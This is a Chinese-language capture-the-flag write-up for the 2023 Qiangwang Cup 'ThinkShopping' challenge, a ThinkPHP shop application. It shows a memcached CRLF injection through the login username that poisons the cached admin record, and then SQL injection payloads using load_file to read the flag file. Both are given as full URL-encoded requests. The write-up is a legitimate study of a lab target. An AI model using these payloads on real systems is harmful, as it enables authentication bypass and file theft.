[2023 强网杯初赛]ThinkShopping
注:此题为ThinkShop的复仇版,ThinkShop的WP见https://blog.csdn.net/GKD2019/article/details/135161395
参考链接https://mp.weixin.qq.com/s/7GY8b9GbR1raU1V5gDTBaQ
- • 题目类型:CTF
- • 题目名称:2023强网杯初赛 thinkshop[ping]
- • 题目镜像:附件内,自行搭建
- • 内部端口:80
- • 题目附件:6ZO+5o6lOiBodHRwczovL3Bhbi5iYWlkdS5jb20vcy8xdkZHcTl1VG14NzR1TUZudEMwX3lSQT9wd2Q9ZmxhZyDmj5Dlj5bnoIE6IGZsYWc=(自行Base64解码)
0x00 启动脚本
下载附件后,阅读附件里的README.txt:
thinkshopping:
docker load < thinkshopping.tar
docker run -tid --name thinkshop -p 36001:80 -e FLAG=flag{test_flag} 镜像ID
用goods_edit.html文件替换镜像中的/var/www/html/application/index/view/admin/goods_edit.html
0x01 信息收集
- 这题是ThinkShop的复仇版,思路:利用memcached,CRLF注入修改admin密码,根据goods_edit.html提示注入data(sql语句),实现load_file(‘/flag’)
- 这题是ThinkShop的复仇版,shop.sql中删去了原题中的插入user和password。
- 这题的突破点在memcached上,在start.sh中可以看到,配置了memcached
service apache2 start
# 启动mysql
service mysql start
# 启动php5.6-fpm
service php5.6-fpm start
nohup /nohup.sh > /dev/null 2>&1 & //nohup.sh是检查cpu使用率的
mysql -e "source /shop.sql;" -uroot -proot
mysql -e "source /goods.sql;" -uroot -proot
memcached -d -m 50 -p 11211 -u root
-
创建docker的readme.txt中让用goods_edit.html文件替换镜像中的/var/www/html/application/index/view/admin/goods_edit.html,其中有
{php}use app\index\model\Goods;$view=new Goods();echo $goods['data'];{/php}
只要读到flag,把值赋给data即可
0x02 正式开始
在Admin.php中
public function do_login()
{
$username = input('post.username');
$password = input('post.password');
// if (empty($username) || empty($password)) {
// $this->error('用户名或密码不能为空');
// }
// if(strlen($password) > 100)
// {
// $this->error('用户名或密码错误');
// }
// 使用md5对输入的密码进行加密
$encryptedPassword = md5($password);
// 设置缓存键和有效期
$Key = ["Login" , $username];
$Expire = 600; // 缓存有效期为10分钟 (600秒)
// 尝试从缓存中获取数据
$adminData = Db::table('admin') // 选择名为 'admin' 的数据库表
->cache(true, $Expire) // 启用查询结果的缓存,并设置过期时间为 $Expire(可能是一个变量)
->find($username); // 在数据库中查找与 $username 变量匹配的行
// 这段代码从 'admin' 表中检索数据,并使用缓存来提高性能。
// 查询结果将存储在 $adminData 变量中,可以根据需要进行后续处理和使用。
if ($adminData && $adminData['password'] === $encryptedPassword) {
// 登录成功,设置session
session('admin', $adminData['username']);
$this->success($username.'登录成功', 'index/admin/goods_edit');
} else {
$this->error('用户名或密码错误');
}
}
下面这部分仍然是关键:
// 尝试从缓存中获取数据
$adminData = Db::table('admin') // 选择名为 'admin' 的数据库表
->cache(true, $Expire) // 启用查询结果的缓存,并设置过期时间为 $Expire(可能是一个变量)
->find($username); // 在数据库中查找与 $username 变量匹配的行
// 这段代码从 'admin' 表中检索数据,并使用缓存来提高性能。
// 查询结果将存储在 $adminData 变量中,可以根据需要进行后续处理和使用。
在登录的逻辑中,首先查询的是cache中的缓存值
跟进到find()这个函数的定义,在/var/www/html/thinkphp/library/think/db/Query.php中
$options['limit'] = 1;
$result = false;
// 检查 fetch_sql 是否为空且 cache 选项是否存在
if (empty($options['fetch_sql']) && !empty($options['cache'])) {
// 查询缓存检查
$cache = $options['cache'];
// 如果 cache key 是 true,并且 data 不为 null 且不是数组
if (true === $cache['key'] && !is_null($data) && !is_array($data)) {
// 将 key 设置为数据库、表和数据的组合
$key = 'think:' . $this->connection->getConfig('database') . '.' . (is_array($options['table']) ? key($options['table']) : $options['table']) . '|' . $data;
// $key = 'think:admin.shop|username' key的形式
} elseif (is_string($cache['key'])) {
// 如果 cache key 是字符串,则将其作为键
$key = $cache['key'];
} elseif (!isset($key)) {
// 如果键未设置,则根据数据库、选项和绑定生成一个键
$key = md5($this->connection->getConfig('database') . '.' . serialize($options) . serialize($this->bind));
}
// 使用生成的键获取缓存结果
$result = Cache::get($key);
}
key的形式为 $key = ‘think:admin.shop|username’
那么如何控制cache的值呢?
0x03 memcached存在CRLF漏洞
- 参考链接https://www.freebuf.com/vuls/328384.html
简单来说,CRLF就是空格和换行的意思
在memecached读取数据的时候,能够解析
-
%0A
表示 URL 编码中的换行符(\n
)。 -
%00
表示 URL 编码中的空字符(null 字符)。 -
%20
表示 URL 编码中的空格字符。 -
%0D
表示 URL 编码中的回车符(\r
)。
memcached命令
Set命令
set key flags exptime bytes [noreply]
value
- key:键值 key-value 结构中的 key,用于查找缓存值。
- flags:可以包括键值对的整型参数,客户机使用它存储关于键值对的额外信息 。
- exptime:在缓存中保存键值对的时间长度(以秒为单位,0 表示永远)。
- bytes:在缓存中存储的字节数,即数据长度。
- noreply(可选): 该参数告知服务器不需要返回数据。
- value:存储的值(始终位于第二行)(可直接理解为key-value结构中的value)。
get命令
Memcached的get命令获取存储在key中的value,如果key不存在则会返回为空。
基本语法如下:
get key
或
get key1 key2 key3
- **key:**键值 key-value 结构中的 key,用于查找缓存值。
注入利用
%00%0D%0Aset%20snowwolf%200%20500%204%0D%0Awolf
等价于
set snowwolf 0 500 4
wolf
知道咋注入了,但是该注入啥呢?
我们可以看一下存储之后的数据是长什么样的,将下面的内容添加到controller/Index.php,
public function test(){
$result = Db::query("select * from admin where id=1");
var_dump($result);
$a = "think:shop.admin|admin";
Cache::set($a, $result, 3600);
}
然后往shop.admin里插入一条数据
INSERT INTO `user` (`username`, `password`) VALUES
('admin', 'ndbcsbvudsvpbusvbpsffdsbsdfbausbdfsdfsdfsdf');
查看memcached中的值,长得像个序列化字符串
telnet 127.0.0.1 11211
get think:shop.admin|admin
a:1:{i:0;a:3:{s:2:"id";i:1;s:8:"username";s:5:"admin";s:8:"password";s:32:"21232f297a57a5a743894a0e4a801fc3";}}
这里有个坑点,就是memcached本身是没有数据类型的,只有key-value的概念,存放的都是字符串,但是PHP编程语言给它给予了数据类型的概念(当flags为0为字符串,当flags4为数组等等),我们看一下memcached的set命令格式:
上图中的红色箭头所指向的4,就是下方的flags位置,也就是说,在PHP中,flags为4的缓存数据,被当做数组使用
set key flags exptime bytes [noreply]
value
所以我们在构造CRLF注入的命令时,需要注意在set时,把flags设置为4,
username=admin(空)(回车)(换行)
set think:shop.admin|admin 4 500 101(空)(回车)(换行)
a:3:{s:2:"id";i:1;s:8:"username";s:5:"admin";s:8:"password";s:32:"21232f297a57a5a743894a0e4a801fc3";}
&password=admin
POST /public/index.php/index/admin/do_login.html,
username=admin%00%0D%0Aset%20think%3Ashop.admin%7Cadmin%204%20500%20101%0D%0Aa%3A3%3A%7Bs%3A2%3A%22id%22%3Bi%3A1%3Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3Bs%3A32%3A%2221232f297a57a5a743894a0e4a801fc3%22%3B%7D&password=admin
再用admin、admin去登录即可,登录到后台之后,再带上session去load_file读flag即可,
POST /public/index.php/index/admin/do_edit.html
下面两份EXP,任选一份即可
name`%3Dload_file('/fffflllaaaagggg')/**/where/**/id%3D1/**/or/**/1%3D1#=1&id=1&name=a&price=100.00&on_sale_time=2023-05-05T02%3A20%3A54&image=1&data=%27%0D%0Aa
data`%3Dload_file('/fffflllaaaagggg')/**/where/**/id%3D1/**/or/**/1%3D1#=1&id=1&name=a&price=100.00&on_sale_time=2023-05-05T02%3A20%3A54&image=1&data=%27%0D%0Aa